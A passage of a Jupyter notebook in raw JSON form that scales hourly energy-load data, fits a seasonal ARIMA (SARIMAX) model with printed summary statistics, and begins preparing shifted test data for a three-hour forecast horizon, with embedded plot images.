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", "text/plain": [ "<Figure size 432x288 with 1 Axes>" ] }, "metadata": { "needs_background": "light" } }, { "output_type": "display_data", "data": { "image/png": "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", "text/plain": [ "<Figure size 432x288 with 1 Axes>" ] }, "metadata": { "needs_background": "light" } } ], "metadata": {} }, { "cell_type": "markdown", "source": [ "Let's also scale the test data" ], "metadata": {} }, { "cell_type": "code", "execution_count": 25, "source": [ "test['load'] = scaler.transform(test)\n", "test.head()" ], "outputs": [ { "output_type": "execute_result", "data": { "text/html": [ "<div>\n", "<style scoped>\n", " .dataframe tbody tr th:only-of-type {\n", " vertical-align: middle;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: right;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>load</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>2014-12-30 00:00:00</th>\n", " <td>0.33</td>\n", " </tr>\n", " <tr>\n", " <th>2014-12-30 01:00:00</th>\n", " <td>0.29</td>\n", " </tr>\n", " <tr>\n", " <th>2014-12-30 02:00:00</th>\n", " <td>0.27</td>\n", " </tr>\n", " <tr>\n", " <th>2014-12-30 03:00:00</th>\n", " <td>0.27</td>\n", " </tr>\n", " <tr>\n", " <th>2014-12-30 04:00:00</th>\n", " <td>0.30</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " load\n", "2014-12-30 00:00:00 0.33\n", "2014-12-30 01:00:00 0.29\n", "2014-12-30 02:00:00 0.27\n", "2014-12-30 03:00:00 0.27\n", "2014-12-30 04:00:00 0.30" ] }, "metadata": {}, "execution_count": 25 } ], "metadata": {} }, { "cell_type": "markdown", "source": [ "## Implement ARIMA method" ], "metadata": {} }, { "cell_type": "code", "execution_count": 26, "source": [ "# Specify the number of steps to forecast ahead\n", "HORIZON = 3\n", "print('Forecasting horizon:', HORIZON, 'hours')" ], "outputs": [ { "output_type": "stream", "name": "stdout", "text": [ "Forecasting horizon: 3 hours\n" ] } ], "metadata": {} }, { "cell_type": "code", "execution_count": 27, "source": [ "order = (4, 1, 0)\n", "seasonal_order = (1, 1, 0, 24)\n", "\n", "model = SARIMAX(endog=train, order=order, seasonal_order=seasonal_order)\n", "results = model.fit()\n", "\n", "print(results.summary())\n" ], "outputs": [ { "output_type": "stream", "name": "stdout", "text": [ " SARIMAX Results \n", "==========================================================================================\n", "Dep. Variable: load No. Observations: 1416\n", "Model: SARIMAX(4, 1, 0)x(1, 1, 0, 24) Log Likelihood 3477.239\n", "Date: Thu, 30 Sep 2021 AIC -6942.477\n", "Time: 14:36:28 BIC -6911.050\n", "Sample: 11-01-2014 HQIC -6930.725\n", " - 12-29-2014 \n", "Covariance Type: opg \n", "==============================================================================\n", " coef std err z P>|z| [0.025 0.975]\n", "------------------------------------------------------------------------------\n", "ar.L1 0.8403 0.016 52.226 0.000 0.809 0.872\n", "ar.L2 -0.5220 0.034 -15.388 0.000 -0.588 -0.456\n", "ar.L3 0.1536 0.044 3.470 0.001 0.067 0.240\n", "ar.L4 -0.0778 0.036 -2.158 0.031 -0.148 -0.007\n", "ar.S.L24 -0.2327 0.024 -9.718 0.000 -0.280 -0.186\n", "sigma2 0.0004 8.32e-06 47.358 0.000 0.000 0.000\n", "===================================================================================\n", "Ljung-Box (L1) (Q): 0.05 Jarque-Bera (JB): 1464.60\n", "Prob(Q): 0.83 Prob(JB): 0.00\n", "Heteroskedasticity (H): 0.84 Skew: 0.14\n", "Prob(H) (two-sided): 0.07 Kurtosis: 8.02\n", "===================================================================================\n", "\n", "Warnings:\n", "[1] Covariance matrix calculated using the outer product of gradients (complex-step).\n" ] } ], "metadata": {} }, { "cell_type": "markdown", "source": [ "## Evaluate the model" ], "metadata": {} }, { "cell_type": "markdown", "source": [ "Create a test data point for each HORIZON step." ], "metadata": {} }, { "cell_type": "code", "execution_count": 28, "source": [ "test_shifted = test.copy()\n", "\n", "for t in range(1, HORIZON):\n", " test_shifted['load+'+str(t)] = test_shifted['load'].shift(-t, freq='H')\n", " \n", "test_shifted = test_shifted.dropna(how='any')\n", "test_shifted.head(5)" ], "outputs": [ { "output_type": "execute_result", "data": { "text/html": [ "<div>\n", "<style scoped>\n", " .dataframe tbody tr th:only-of-type {\n", " vertical-align: middle;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: right;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>load</th>\n", " <th>load+1</th>\n", " <th>load+2</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>2014-12-30 